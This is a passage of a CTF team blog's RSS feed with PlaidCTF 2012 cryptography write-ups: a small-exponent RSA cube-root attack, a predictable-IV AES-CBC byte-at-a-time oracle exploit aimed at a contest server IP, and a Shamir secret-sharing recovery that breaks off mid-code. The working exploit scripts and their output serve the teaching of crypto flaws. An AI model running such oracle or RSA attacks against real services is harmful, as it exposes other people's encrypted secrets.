    <span style="color: #000000;">55</span>:e3:<span style="color: #000000;">46</span>:<span style="color: #000000;">79</span>:<span style="color: #000000;">77</span>:<span style="color: #000000;">30</span>:<span style="color: #c20cb9; font-weight: bold;">dd</span>:<span style="color: #7a0874; font-weight: bold;">fc</span>:1c:4c:f4:a9:<span style="color: #c20cb9; font-weight: bold;">dd</span>:<span style="color: #000000;">40</span>:<span style="color: #000000;">65</span>:
    <span style="color: #000000;">88</span>:<span style="color: #000000;">62</span>:<span style="color: #000000;">93</span>:<span style="color: #000000;">48</span>:c4:c2:<span style="color: #000000;">92</span>:<span style="color: #000000;">65</span>:<span style="color: #c20cb9; font-weight: bold;">df</span>:9e:2c:3d:02:<span style="color: #000000;">55</span>:8b:
    e5:e3:5c:b2:<span style="color: #000000;">77</span>:f4:e7:ac:7b:<span style="color: #000000;">51</span>:<span style="color: #000000;">58</span>:ef:<span style="color: #000000;">39</span>:03:a3:
    <span style="color: #000000;">96</span>:<span style="color: #000000;">48</span>:<span style="color: #000000;">63</span>:<span style="color: #000000;">71</span>:02:9e:<span style="color: #000000;">54</span>:a3:<span style="color: #000000;">45</span>:<span style="color: #000000;">29</span>:2a:ba:<span style="color: #000000;">47</span>:<span style="color: #000000;">49</span>:9f:
    1c:<span style="color: #000000;">26</span>:7e:<span style="color: #000000;">68</span>:0a:e7:<span style="color: #000000;">38</span>:<span style="color: #000000;">19</span>:5f:d5:af:2a:<span style="color: #000000;">80</span>:<span style="color: #000000;">75</span>:<span style="color: #000000;">93</span>:
    <span style="color: #000000;">98</span>:<span style="color: #000000;">90</span>:f5:d6:9e:6b:3e:<span style="color: #000000;">94</span>:e3:e5:<span style="color: #000000;">60</span>:<span style="color: #000000;">86</span>:1a:a6:c6:
    c6:9d:a8:<span style="color: #000000;">24</span>:05:db:a2:<span style="color: #000000;">18</span>:2e:<span style="color: #000000;">66</span>:ec:ff:6a:8a:9c:
    <span style="color: #c20cb9; font-weight: bold;">df</span>:5a:d5:<span style="color: #000000;">22</span>:6f:07:3e:7d:<span style="color: #000000;">52</span>:5e:05:0f:<span style="color: #c20cb9; font-weight: bold;">dd</span>:<span style="color: #000000;">77</span>:e0:
    bb:<span style="color: #000000;">18</span>:<span style="color: #000000;">91</span>:a4:9e:fe:c2:d3:<span style="color: #000000;">67</span>:a6:<span style="color: #000000;">93</span>:d2:a6:<span style="color: #000000;">79</span>:9d:
    0d:<span style="color: #000000;">46</span>:<span style="color: #000000;">67</span>:<span style="color: #000000;">95</span>:3d:4f:3d:de:c1:6a:c1:5b:b4:cf:<span style="color: #000000;">60</span>:
    <span style="color: #000000;">25</span>:ea:<span style="color: #000000;">58</span>:ec:b6:<span style="color: #c20cb9; font-weight: bold;">df</span>:a5:<span style="color: #000000;">72</span>:<span style="color: #000000;">31</span>:6d:a0:8d:<span style="color: #000000;">31</span>:06:07:
    <span style="color: #000000;">39</span>:<span style="color: #000000;">73</span>:<span style="color: #000000;">32</span>:2a:e7:<span style="color: #000000;">59</span>:<span style="color: #000000;">74</span>:<span style="color: #000000;">46</span>:f2:fd:<span style="color: #000000;">30</span>:<span style="color: #000000;">43</span>:<span style="color: #c20cb9; font-weight: bold;">df</span>:6e:1d:
    <span style="color: #000000;">60</span>:4c:6a:1f:0e:<span style="color: #000000;">59</span>:<span style="color: #000000;">47</span>:3d:9b:c1:<span style="color: #000000;">82</span>:d4:ec:6f:c4:
    <span style="color: #000000;">58</span>:8f:1c:6b:2a:a4:<span style="color: #000000;">76</span>:<span style="color: #000000;">87</span>:6a:<span style="color: #000000;">84</span>:b2:d4:e0:d4:<span style="color: #000000;">59</span>:
    <span style="color: #000000;">10</span>:<span style="color: #000000;">39</span>:<span style="color: #000000;">91</span>:<span style="color: #000000;">18</span>:d7:e1:e2:0d:<span style="color: #c20cb9; font-weight: bold;">cc</span>:<span style="color: #000000;">27</span>:<span style="color: #000000;">70</span>:3f:2b:d3:e9:
    af:<span style="color: #000000;">72</span>:2f:<span style="color: #000000;">37</span>:a7:<span style="color: #000000;">67</span>:3b:<span style="color: #000000;">15</span>:d6:<span style="color: #000000;">74</span>:<span style="color: #000000;">92</span>:<span style="color: #000000;">28</span>:<span style="color: #000000;">62</span>:c8:4d:
    00:<span style="color: #7a0874; font-weight: bold;">fc</span>:2f:c7:<span style="color: #c20cb9; font-weight: bold;">dd</span>:<span style="color: #c20cb9; font-weight: bold;">dd</span>:c9:<span style="color: #000000;">15</span>:c4:<span style="color: #000000;">69</span>:3f:cb:0b:<span style="color: #000000;">17</span>:<span style="color: #000000;">89</span>:
    e9:<span style="color: #c20cb9; font-weight: bold;">dc</span>:bd:<span style="color: #000000;">72</span>:ac:04:<span style="color: #000000;">65</span>:9e:7c:<span style="color: #000000;">18</span>:<span style="color: #c20cb9; font-weight: bold;">dc</span>:f3:<span style="color: #000000;">62</span>:<span style="color: #000000;">54</span>:<span style="color: #000000;">76</span>:
    00:<span style="color: #000000;">40</span>:<span style="color: #000000;">40</span>:2b:<span style="color: #7a0874; font-weight: bold;">fc</span>:ef:<span style="color: #000000;">11</span>:b8:a3:ef:9c:8b:<span style="color: #c20cb9; font-weight: bold;">dd</span>:ba:aa:
    8d:<span style="color: #000000;">14</span>:c6:e8:f5:<span style="color: #000000;">18</span>:a7:0b:03:6d:<span style="color: #000000;">20</span>:6b:<span style="color: #000000;">80</span>:9c:d9:
    b3:b5:1a:1e:c0:<span style="color: #000000;">13</span>:2d:ac:e9:6d:ca:<span style="color: #000000;">94</span>:<span style="color: #000000;">51</span>:f3:4c:
    <span style="color: #000000;">38</span>:ab:<span style="color: #000000;">84</span>:<span style="color: #c20cb9; font-weight: bold;">ed</span>:<span style="color: #000000;">47</span>:5e:7d:<span style="color: #000000;">94</span>:fb:e9:ff:c0:07:f2:d1:
    <span style="color: #000000;">48</span>:<span style="color: #000000;">60</span>:bd
Exponent: <span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span>0x3<span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div>

<p>Oh, the exponent is very small &#8211; 3. If the message is rather small and it wasn&#8217;t padded correctly, we can decrypt it! Let&#8217;s see:</p>
<img src="http://www.forkosh.com/mathtex.cgi?c \equiv m^3 (mod N) \iff m^3 = c + k*N" style="float:top;" border="0px" />
<p>Bigger m -> bigger k. Let&#8217;s bruteforce k until <img src="http://www.forkosh.com/mathtex.cgi?c + k*N" style="float:top;" border="0px" /> is a cube. Then the secret message will be a cuberoot of that:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">import</span> gmpy
<span style="color: #ff7700;font-weight:bold;">from</span> libnum <span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #66cc66;">*</span>
&nbsp;
N = <span style="color: #008000;">long</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'00b0...0bd'</span>, <span style="color: #ff4500;">16</span><span style="color: black;">&#41;</span>
orig = s2n<span style="color: black;">&#40;</span><span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;enc.dat&quot;</span><span style="color: black;">&#41;</span>.<span style="color: black;">read</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>.<span style="color: black;">rstrip</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
c = orig
<span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #008000;">True</span>:
    m = gmpy.<span style="color: black;">root</span><span style="color: black;">&#40;</span>c, <span style="color: #ff4500;">3</span><span style="color: black;">&#41;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>
    <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">pow</span><span style="color: black;">&#40;</span>m, <span style="color: #ff4500;">3</span>, N<span style="color: black;">&#41;</span> == orig:
        <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;pwned&quot;</span>, n2s<span style="color: black;">&#40;</span>m<span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">break</span>
    c += N</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #000000; font-weight: bold;">time</span> py rsa.py 
pwned 
Didn<span style="color: #ff0000;">'t I tell you everything would work out in the end? Brixby gave me the password to the secure server: 56c812da9a3955e3c81453eb035b3d37b3f1bfe407ef701d09cf68dd4bb335b1
&nbsp;
&nbsp;
real	0m44.679s
user	0m44.615s
sys	0m0.008s</span></pre></div></div>

<p>The flag: <strong>56c812da9a3955e3c81453eb035b3d37b3f1bfe407ef701d09cf68dd4bb335b1</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/plaidctf-2012-rsa-200-password-guessing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PlaidCTF 2012 – Encryption Service [300] (Password Guessing)</title>
		<link>http://leetmore.ctf.su/wp/plaidctf-2012-encryption-service-300-password-guessing/</link>
		<comments>http://leetmore.ctf.su/wp/plaidctf-2012-encryption-service-300-password-guessing/#comments</comments>
		<pubDate>Tue, 01 May 2012 08:33:01 +0000</pubDate>
		<dc:creator>hellman</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[aes]]></category>
		<category><![CDATA[CBC]]></category>
		<category><![CDATA[crypto]]></category>
		<category><![CDATA[IV]]></category>
		<category><![CDATA[IV predict]]></category>
		<category><![CDATA[pctf]]></category>
		<category><![CDATA[plaidctf]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2524</guid>
		<description><![CDATA[We found the source code for this robot encryption service, except the key was redacted from it. The service is currently running at 23.21.15.166:4433 Summary: IV predict, byte-by-byte bruteforce This challenge was based on a vulnerable crypto scheme with predictable (known) IV’s. First IV is random, but all the subsequent messages are encrypted with previous&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/plaidctf-2012-encryption-service-300-password-guessing/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>We found the <a href="http://leetmore.ctf.su/wp-content/uploads/files/plaidctf2012/encryption_service.py">source code</a> for this robot encryption service, except the key was redacted from it. The service is currently running at 23.21.15.166:4433</p></blockquote>
<p><strong>Summary:</strong> IV predict, byte-by-byte bruteforce </p>
<p><span id="more-2524"></span></p>
<p>This challenge was based on a vulnerable crypto scheme with predictable (known) IV’s. First IV is random, but all the subsequent messages are encrypted with previous ciphertexts as IV’s (it’s important that we know IV <strong>before</strong> sending a message to encrypt).</p>
<p>Here&#8217;s client handler:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">        iv = <span style="color: #dc143c;">os</span>.<span style="color: black;">urandom</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">16</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">wfile</span>.<span style="color: black;">write</span><span style="color: black;">&#40;</span>iv<span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #008000;">True</span>:
            data = <span style="color: #008000;">self</span>.<span style="color: black;">rfile</span>.<span style="color: black;">read</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">4</span><span style="color: black;">&#41;</span>
            <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> data:
                <span style="color: #ff7700;font-weight:bold;">break</span>
&nbsp;
            <span style="color: #ff7700;font-weight:bold;">try</span>:
                length = <span style="color: #dc143c;">struct</span>.<span style="color: black;">unpack</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'I'</span>, data<span style="color: black;">&#41;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>
                <span style="color: #ff7700;font-weight:bold;">if</span> length <span style="color: #66cc66;">&gt;</span> <span style="color: #ff4500;">4096</span>:
                    <span style="color: #ff7700;font-weight:bold;">break</span>
                data = <span style="color: #008000;">self</span>.<span style="color: black;">rfile</span>.<span style="color: black;">read</span><span style="color: black;">&#40;</span>length<span style="color: black;">&#41;</span>
                data += PROBLEM_KEY
                ciphertext = encrypt<span style="color: black;">&#40;</span>data, iv<span style="color: black;">&#41;</span>
                iv = ciphertext<span style="color: black;">&#91;</span>-<span style="color: #ff4500;">16</span>:<span style="color: black;">&#93;</span>
                <span style="color: #008000;">self</span>.<span style="color: black;">wfile</span>.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">struct</span>.<span style="color: black;">pack</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'I'</span>, <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>ciphertext<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
                <span style="color: #008000;">self</span>.<span style="color: black;">wfile</span>.<span style="color: black;">write</span><span style="color: black;">&#40;</span>ciphertext<span style="color: black;">&#41;</span>
            <span style="color: #ff7700;font-weight:bold;">except</span>:
                <span style="color: #ff7700;font-weight:bold;">break</span></pre></div></div>

<p>After we know some IV, we send this IV to encrypt and we get a ciphertext = AES(IV ^ IV) = AES(0). And the next IV is accurately AES(0), and the cool thing is that we can repeat it many times and IV will be the same.</p>
<p>After fixing the IV, we can bruteforce byte-by-byte the appended flag:<br />
First encrypt</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #483d8b;">&quot;X&quot;</span><span style="color: #66cc66;">*</span><span style="color: #ff4500;">15</span> --<span style="color: #66cc66;">&gt;</span> AES<span style="color: black;">&#40;</span>IV, <span style="color: #483d8b;">&quot;X*15&quot;</span> + Flag<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span> + …</pre></div></div>

<p>Then encrypt different chars until we get the same block as the first one:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #483d8b;">&quot;X&quot;</span><span style="color: #66cc66;">*</span><span style="color: #ff4500;">15</span> + <span style="color: #483d8b;">&quot;A&quot;</span> --<span style="color: #66cc66;">&gt;</span> AES<span style="color: black;">&#40;</span>IV, <span style="color: #483d8b;">&quot;X*15&quot;</span> + <span style="color: #483d8b;">&quot;a&quot;</span><span style="color: black;">&#41;</span> + …</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #483d8b;">&quot;X&quot;</span><span style="color: #66cc66;">*</span><span style="color: #ff4500;">15</span> + <span style="color: #483d8b;">&quot;B&quot;</span> --<span style="color: #66cc66;">&gt;</span> AES<span style="color: black;">&#40;</span>IV, <span style="color: #483d8b;">&quot;X*15&quot;</span> + <span style="color: #483d8b;">&quot;b&quot;</span><span style="color: black;">&#41;</span> + …</pre></div></div>

<p>…</p>
<p>Thus we can get the first byte of the flag, and so on.</p>
<p>Here&#8217;s exploit:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> sock <span style="color: #ff7700;font-weight:bold;">import</span> Sock
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">struct</span> <span style="color: #ff7700;font-weight:bold;">import</span> pack, unpack
&nbsp;
ALPHA = <span style="color: #483d8b;">&quot;_abcdefghijklmnopqrstuvwxyz&quot;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> send_msg<span style="color: black;">&#40;</span>f, m<span style="color: black;">&#41;</span>:
	data = pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;I&quot;</span>, <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>m<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
	data += m
	f.<span style="color: black;">send</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#41;</span>
&nbsp;
	dlen = unpack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;I&quot;</span>, f.<span style="color: black;">read_nbytes</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">4</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>
	data = f.<span style="color: black;">read_nbytes</span><span style="color: black;">&#40;</span>dlen<span style="color: black;">&#41;</span>
	<span style="color: #ff7700;font-weight:bold;">return</span> data, data<span style="color: black;">&#91;</span>-<span style="color: #ff4500;">16</span>:<span style="color: black;">&#93;</span>
&nbsp;
f = Sock<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;23.21.15.166&quot;</span>, <span style="color: #ff4500;">4433</span><span style="color: black;">&#41;</span>
iv = f.<span style="color: black;">read_nbytes</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">16</span><span style="color: black;">&#41;</span>
&nbsp;
key = <span style="color: #483d8b;">&quot;&quot;</span>
<span style="color: #ff7700;font-weight:bold;">for</span> index <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">xrange</span><span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span>key<span style="color: black;">&#41;</span>+<span style="color: #ff4500;">1</span>, <span style="color: #ff4500;">99999</span><span style="color: black;">&#41;</span>:
	pad_len = <span style="color: #ff4500;">16</span> - <span style="color: black;">&#40;</span>index <span style="color: #66cc66;">%</span> <span style="color: #ff4500;">16</span><span style="color: black;">&#41;</span>
	msg = <span style="color: #483d8b;">&quot;A&quot;</span> <span style="color: #66cc66;">*</span> pad_len
&nbsp;
	s, iv = send_msg<span style="color: black;">&#40;</span>f, iv<span style="color: black;">&#41;</span>
	s, iv = send_msg<span style="color: black;">&#40;</span>f, msg<span style="color: black;">&#41;</span>
&nbsp;
	block_number = index / <span style="color: #ff4500;">16</span>
	good_block = s<span style="color: black;">&#91;</span>block_number <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">16</span> : <span style="color: black;">&#40;</span>block_number + <span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">16</span><span style="color: black;">&#93;</span>
	<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;ENC&quot;</span>, msg, <span style="color: #483d8b;">&quot;(%d)&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>msg<span style="color: black;">&#41;</span>, <span style="color: #483d8b;">&quot;=&quot;</span>, good_block<span style="color: black;">&#91;</span>:<span style="color: #ff4500;">16</span><span style="color: black;">&#93;</span>.<span style="color: black;">encode</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;hex&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">for</span> c <span style="color: #ff7700;font-weight:bold;">in</span> ALPHA:
		s, iv = send_msg<span style="color: black;">&#40;</span>f, iv<span style="color: black;">&#41;</span>
		msg = <span style="color: #483d8b;">&quot;A&quot;</span> <span style="color: #66cc66;">*</span> pad_len + key + c
		s, iv = send_msg<span style="color: black;">&#40;</span>f, msg<span style="color: black;">&#41;</span>
		block = s<span style="color: black;">&#91;</span>block_number <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">16</span> : <span style="color: black;">&#40;</span>block_number + <span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">16</span><span style="color: black;">&#93;</span>
		<span style="color: #ff7700;font-weight:bold;">if</span> block == good_block:
			key += c
			<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Found&quot;</span>, index-<span style="color: #ff4500;">1</span>, <span style="color: #483d8b;">&quot;char:&quot;</span>, c, <span style="color: #483d8b;">&quot;key:&quot;</span>, key
			<span style="color: #ff7700;font-weight:bold;">break</span>
	<span style="color: #ff7700;font-weight:bold;">else</span>:
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Finished<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;KEY:&quot;</span>, key
		<span style="color: #ff7700;font-weight:bold;">break</span></pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ py predict_iv.py 
ENC AAAAAAAAAAAAAAA <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">15</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = f1a42e850b6c7abaa7b53223470505c3
Found <span style="color: #000000;">0</span> char: p key: p
ENC AAAAAAAAAAAAAA <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">14</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = 5edf4afc7bf0765bddba811a9b3adad6
Found <span style="color: #000000;">1</span> char: r key: <span style="color: #c20cb9; font-weight: bold;">pr</span>
ENC AAAAAAAAAAAAA <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">13</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = df41943880e2b461c31590e293202159
Found <span style="color: #000000;">2</span> char: e key: pre
ENC AAAAAAAAAAAA <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">12</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = d9859acf09e49d50ada8e938c345f28d
Found <span style="color: #000000;">3</span> char: d key: pred
ENC AAAAAAAAAAA <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">11</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = e5a8b4ee0ba44f72abeec767de8f1092
Found <span style="color: #000000;">4</span> char: i key: predi
...
ENC AAAAA <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">5</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = be6ff4d4c812a4f2a3050e289bbbb98c
Found <span style="color: #000000;">26</span> char: o key: predictable_ivs_are_dangero
ENC AAAA <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">4</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = 2b07c150317a5ac936817896c3846f24
Found <span style="color: #000000;">27</span> char: u key: predictable_ivs_are_dangerou
ENC AAA <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">3</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = 17b9dad0127147163265627f1b5efeac
Found <span style="color: #000000;">28</span> char: s key: predictable_ivs_are_dangerous
ENC AA <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">2</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = e681d4d39dee05ddf6c16e0ba9598288
Finished
&nbsp;
KEY: predictable_ivs_are_dangerous</pre></div></div>

<p>The flag: <strong>predictable_ivs_are_dangerous</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/plaidctf-2012-encryption-service-300-password-guessing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PlaidCTF 2012 – Nuclear Launch Detected [150] (Password Guessing)</title>
		<link>http://leetmore.ctf.su/wp/plaidctf-2012-nuclear-launch-detected-150-password-guessing/</link>
		<comments>http://leetmore.ctf.su/wp/plaidctf-2012-nuclear-launch-detected-150-password-guessing/#comments</comments>
		<pubDate>Tue, 01 May 2012 08:07:17 +0000</pubDate>
		<dc:creator>hellman</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[crypto]]></category>
		<category><![CDATA[pcap]]></category>
		<category><![CDATA[pctf]]></category>
		<category><![CDATA[plaidctf]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[secret sharing]]></category>
		<category><![CDATA[shamir]]></category>
		<category><![CDATA[wiki]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2499</guid>
		<description><![CDATA[Our spies intercepted communications and a file between 5 of the top 10 robo-generals and their nuclear bomb server. We must recover the final launch code from the 5 robo-general&#8217;s secret codes, so we can stop the detonation! Summary: Shamir&#8217;s Secret Sharing Here we have a pcap file where 5 communications take place. Each looks&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/plaidctf-2012-nuclear-launch-detected-150-password-guessing/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>Our spies intercepted <a href="http://leetmore.ctf.su/wp-content/uploads/files/plaidctf2012/nuclear.pcap">communications</a> and a <a href="http://leetmore.ctf.su/wp-content/uploads/files/plaidctf2012/p.txt">file</a> between 5 of the top 10 robo-generals and their nuclear bomb server. We must recover the final launch code from the 5 robo-general&#8217;s secret codes, so we can stop the detonation!</p></blockquote>
<p><strong>Summary:</strong> Shamir&#8217;s Secret Sharing</p>
<p><span id="more-2499"></span></p>
<p>Here we have a pcap file where 5 communications take place. Each looks like</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #66cc66;">&gt;</span> <span style="color: #66cc66;">***</span> Welcome to Remote Nuclear Bomb Launch System <span style="color: #66cc66;">***</span>
<span style="color: #66cc66;">&gt;</span> <span style="color: #808080; font-style: italic;"># Enter the launch code: </span>
<span style="color: #66cc66;">&lt;</span> <span style="color: black;">&#40;</span><span style="color: #ff4500;">4</span>, <span style="color: #ff4500;">944438008684116</span>...6L<span style="color: black;">&#41;</span>
<span style="color: #66cc66;">&gt;</span> <span style="color: #66cc66;">!!!</span> Success <span style="color: #66cc66;">!!!</span> Bomb has been launched<span style="color: #66cc66;">!</span></pre></div></div>

<p>It seems that 5 secret codes together allow to launch the bomb. Such things can be done with some secret sharing scheme. Google for some and <a href="http://en.wikipedia.org/wiki/Shamir's_Secret_Sharing">Shamir&#8217;s Secret Sharing</a> is the easiest to find. In wiki&#8217;s example only 3 keys are needed, so we need to extend it to 5.</p>
<p><img src="http://www.forkosh.com/mathtex.cgi?a_0=y_0 * {(-x_1*x_2*x_3*x_4) \over (x_0-x_1)*(x_0-x_2)*(x_0-x_3)*(x_0-x_4)}" style="float:top;" border="0px" /><br />
&#8230;<br />
<img src="http://www.forkosh.com/mathtex.cgi?a_4=y_4 * {(-x_0*x_1*x_2*x_3) \over (x_4-x_0)*(x_4-x_1)*(x_4-x_2)*(x_4-x_3)}" style="float:top;" border="0px" /></p>
<img src="http://www.forkosh.com/mathtex.cgi?secret=$$\sum_{i=0}^4 a_i" style="float:top;" border="0px" />
<p>Here&#8217;s the code:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> libnum <span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #66cc66;">*</span>
&nbsp;
pairs = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>
pairs += <span style="color: black;">&#91;</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">4</span>, <span style="color: #ff4500;">9444</span>...<span style="color: #ff4500;">806</span><span style="color: black;">&#41;</span><span style="color: black;">&#93;</span>
pairs += <span style="color: black;">&#91;</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">2</span>, <span style="color: #ff4500;">8577</span>...<span style="color: #ff4500;">243</span><span style="color: black;">&#41;</span><span style="color: black;">&#93;</span>
pairs += <span style="color: black;">&#91;</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span>, <span style="color: #ff4500;">3320</span>...<span style="color: #ff4500;">109</span><span style="color: black;">&#41;</span><span style="color: black;">&#93;</span>
pairs += <span style="color: black;">&#91;</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">5</span>, <span style="color: #ff4500;">6259</span>...<span style="color: #ff4500;">452</span><span style="color: black;">&#41;</span><span style="color: black;">&#93;</span>
pairs += <span style="color: black;">&#91;</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">3</span>, <span style="color: #ff4500;">6454</span>...<span style="color: #ff4500;">858</span><span style="color: black;">&#41;</span><span style="color: black;">&#93;</span>
&nbsp;
p = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;p.txt&quot;</span><span style="color: black;">&#41;</span>.<span style="color: black;">read</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
res = <span style="color: #ff4500;">0</span>
<span style="color: #ff7700;font-weight:bold;">for</span> i, pair <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">enumerate</span><span style="color: black;">&#40;</span>pairs<span style="color: black;">&#41;</span>:
	x, y = pair
	top = <span style="color: #ff4500;">1</span>
	bottom = <span style="color: #ff4500;">1</span>
	<span style="color: #ff7700;font-weight:bold;">for</span> j, pair <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">enumerate</span><span style="color: black;">&#40;</span>pairs<span style="color: black;">&#41;</span>:
		<span style="color: #ff7700;font-weight:bold;">if</span> j == i:
			<span style="color: #ff7700;font-weight:bold;">continue</span>
		xj, yj = pair
		top = <span style="color: black;">&#40;</span>top <span style="color: #66cc66;">*</span> <span style="color: black;">&#40;</span>-xj<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">%</span> p
		bottom = <span style="color: black;">&#40;</span>bottom <span style="color: #66cc66;">*</span> <span style="color: black;">&#40;</span>x - xj<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">%</span> p
